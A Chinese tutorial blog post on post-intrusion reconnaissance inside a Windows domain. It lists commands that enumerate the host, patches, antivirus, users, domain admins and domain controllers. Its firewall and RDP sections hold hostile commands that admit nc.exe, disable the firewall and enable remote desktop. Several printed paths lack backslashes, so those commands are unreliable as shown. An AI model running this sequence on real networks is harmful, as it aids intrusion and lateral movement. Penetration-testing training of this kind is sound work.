内网域渗透信息搜集

2022-11-02 15:20:00 浏览数 (1)

前言

当渗透测试进入内网后,面对复杂的内网域环境,首先需要了解当前所处的网络环境,例如判断当前机器的的角色,当前机器所处位置区域,以及当前网络环境的拓扑结构等。因此,我们需要对当前内网环境进行信息搜集。

0x01 域环境判断

查看网卡详细信息

通过查看网卡的主DNS后缀信息,一般情况下域环境机器会显示域信息(luckysec.cn),而工作组环境机器显示为空。

代码语言:javascript复制
ipconfig /all
查看系统详细信息

通过查看系统详细信息,根据显示当前域信息(luckysec.cn)可以判断是一台域机器,如果是工作组机器,则显示(WORKGROUP)。

代码语言:javascript复制
systeminfo
查看当前登录域信息

通过查看当前登录域及域用户信息,如果是域环境工作站域会显示当前域(luckysec.cn),如果是工作组环境会显示(WORKGROUP)。

代码语言:javascript复制
net config workstation
查看域内时间

通过查询域内时间命令,根据结果判断是否是域环境机器:

  1. 存在域,当前用户不是域用户,会显示拒绝访问。
  2. 存在域,当前用户是域用户,会显示当前域内时间
  3. 不存在域,当前为工作组,会显示找不到域WORKGROUP的控制器
代码语言:javascript复制
net time /domain

0x02 本机信息搜集

查看本机网络配置信息

通过查看网络配置信息,可以判定当前机器网卡数量,有多个网卡就代表可以扩大资产范围进行内网横向渗透,从而有更多机会拿到域内其他主机的权限。

代码语言:javascript复制
ipconfig /all
查看操作系统和版本信息

通过查看确定当前系统版本信息后,就可以针对性的去搜集相关系统版本的漏洞EXP。

代码语言:javascript复制
英文版系统用这条命令:
systeminfo | findstr /B /C:"OS Nmae" /C:"OS Version"
中文版系统用这条命令:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查看系统体系结构

通过查看查看系统体系结构,可以确定在当前机器上需要使用相对应版本兼容性的渗透工具。

代码语言:javascript复制
echo %PROCESSOR_ARCHITECTURE%
查看安装程序和版本信息

通过搜集当前本机安装了哪些程序后,就可以了解当前机器的使用情况,比如某个程序有一些溢出、提权漏洞、DLL劫持提权等。

代码语言:javascript复制
wmic product get name,version
查看本机服务信息

通过搜集当前本机的服务信息,可以了解当前机器上有哪些服务是开启的还是关闭的,看是否有可以深入利用的点。

代码语言:javascript复制
wmic service list brief
查看进程列表

通过查看当前进程列表对应的用户身份命令,可以了解每个程序的进程以及对应执行的用户身份等。

代码语言:javascript复制
tasklist /v

查看当前本地运行的程序、对应进程PID号、服务名,可以将执行命令的返回结果去查询是否有杀毒软件在运行。

代码语言:javascript复制
tasklist /svc

Windows杀软在线对比辅助 https://maikefee.com/av_list

查看启动程序信息

通过查看启动程序信息,可以了解当前机器开机的时候会运行哪些程序,这也可以利用自启动劫持。

代码语言:javascript复制
wmic startup get command,caption
查看计划任务

通过查看本机计划任务,可以了解当前机器上“某个时间”会运行哪些程序,可以利用这一点来做定时任务劫持。

代码语言:javascript复制
schtasks /query /fo LIST /v
查看主机开机时间

通过查看本机的开机时间,可以判断这台机器的管理员是不是经常在登陆这台机器。

代码语言:javascript复制
net statistics workstation
查看用户列表

通过查看本机用户列表,可以了解出内部网络机器名的命名规则,特别是个人机器,可以推测出整个域的用户命名方式。

代码语言:javascript复制
net user
查看当前在线用户

通过查看当前在线用户,可以了解当前机器有没有管理员在登陆。

代码语言:javascript复制
query user || qwinsta
查看本机端口开放情况

通过查看本机网络连接/相关网络地址/端口开放情况,可以了解当前机器有没有与其他机器进行连接,以及分析当前机器是否开放一些敏感服务。

代码语言:javascript复制
netstat -ano
查询系统和补丁信息

查看系统的详细信息,注意系统的版本、位数、域、补丁信息及跟新频率等信息,通过查看本地计算机补丁列表,可以找到未打补丁的漏洞,用来辅助提升权限。

代码语言:javascript复制
# 查询系统信息/补丁安装情况
systeminfo
# 查询补丁信息,包含说明链接/补丁描述/KB编号/更新时间等信息
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 查询全部信息
wmic qfe list full
查看路由表及ARP缓冲表

通过查询路由表及所有可用接口的ARP缓冲表,可以了解当前网络的分布情况,内网有没有其他机器等等。

代码语言:javascript复制
# 查看路由信息
route print
# 查看arp缓存
arp -a
查看防火墙配置

通过查看防火墙配置,可以了解当前机器是否开了防火墙,以及更多防火墙配置信息。

代码语言:javascript复制
netsh firewall show config

若是想修改防火墙配置信息就可以使用:

代码语言:javascript复制
win 2003及之前的版本,运行指定程序全部连接:
netsh firewall add allowedprogram c:nc.exe "allow nc" enable
win 2003之后的版本用这条:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:nc.exe"
允许指定程序连出,命令如下
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: nc.exe" 
允许 3389 端口放行,命令如下
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 
自定义防火墙日志储存位置 
netsh advfirewall set currentprofile logging filename "C:windowstempfw.log"

若是想要关闭防火墙就可以使用:

代码语言:javascript复制
win 2003及之前的版本用这条命令:
netsh firewall set opmode disablewin 2003之后的版本用这条命令:
netsh advfirewall set allprofiles state off
查询并开启远程桌面服务

查看远程桌面服务是否开启,在cmd下使用注册表查询语句,命令如下,得到连接端口为0xd3d,转换后为3389

代码语言:javascript复制
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber

一些开启远程桌面的命令:

代码语言:javascript复制
# 在 Windows Server 2003 中开启 3389 端口 
wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1
# 在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口 
wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\rootcimv2terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 
# 在 Windows 7 中开启 3389 端口
reg add "HKLMSYSTEMCURRENTCONTROLSETCONTROLTERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

0x03 域内信息搜集

获取域SID

获取域SID值,可以用于票据传递攻击。

代码语言:javascript复制
whoami /all
查询域内用户

通过查询域内用户,可以获取到这个域内所有用户名。

代码语言:javascript复制
net user /domain
查看域用户详细信息

例如要查询luckystar这个域用户的信息,可以使用如下命令:

代码语言:javascript复制
net user luckystar /domain
查询域列表

通过查询域列表发现当前只有一个 LUCKYSEC 域。

代码语言:javascript复制
net view /domain
查询域主机

通过执行以下命令来查看当前域内有多少台主机,以及主机的主机名信息:

代码语言:javascript复制
net view /domain:XXX
查询域管理员列表

查询域管理员用户。

代码语言:javascript复制
net group "domain admins" /domain
查询企业管理员

查询企业指定系统管理员用户。

代码语言:javascript复制
net group "enterprise admins" /domain
查看域内时间

通过查看域内时间(时间服务器)得知当前域的时间,可以使用定时任务 IPC来运行一些bat文件。

代码语言:javascript复制
net time /domain

当前域的时间服务器是AD2-2016,可以Ping一下它的机器名获取道它的IP信息:

代码语言:javascript复制
ping -n 2 AD2-2016
查看登陆本机的域管理员

这条命令会显示本地管理员和域管理员。

代码语言:javascript复制
net localgroup administrators /domain
查看域内所有用户组列表

通过执行以下命令来查看域内所有用户组列表信息。

代码语言:javascript复制
net group /domain
查看主域控制器

通过查看主域控制器,可以知道当前域的核心域控就是AD-2016这台机器。

代码语言:javascript复制
netdom query pdc

通过查看当前时间定位主域控制器。

代码语言:javascript复制
net time /domain

通过查询域控制组定位主域控制器。

代码语言:javascript复制
net group "Domain Controllers" /domain

通过nltest定位主域控制器。

代码语言:javascript复制
nltest /DCLIST:xxx
查看所有域控制器列表

一个域可以有多个域控制器,通过查看域控制器列表就可以得到域控制器对应的机器名

代码语言:javascript复制
net group "Domain Controllers" /domain

通过Ping它的机器名即可得到域控制器的IP地址,域控机器名为 AD-2016 的 IP 是 10.10.10.10。

查询域信任信息

通过查询域信任信息,可以知道当前有多少个域以及域名信息。

代码语言:javascript复制
nltest /domain_trusts
查询域密码信息

通过查询域密码信息,就可以根据密码策略来制定一份密码字典,例如:密码长度最小值为7,则可以直接忽略7位以下的密码字典。

代码语言:javascript复制
net accounts /domain

参考文章

  • https://mp.weixin.qq.com/s/IO5ZqNHoPTbhVvWd9yzC7g
  • https://mp.weixin.qq.com/s/deXZAYwyyCDOESXM6g84Eg

0 人点赞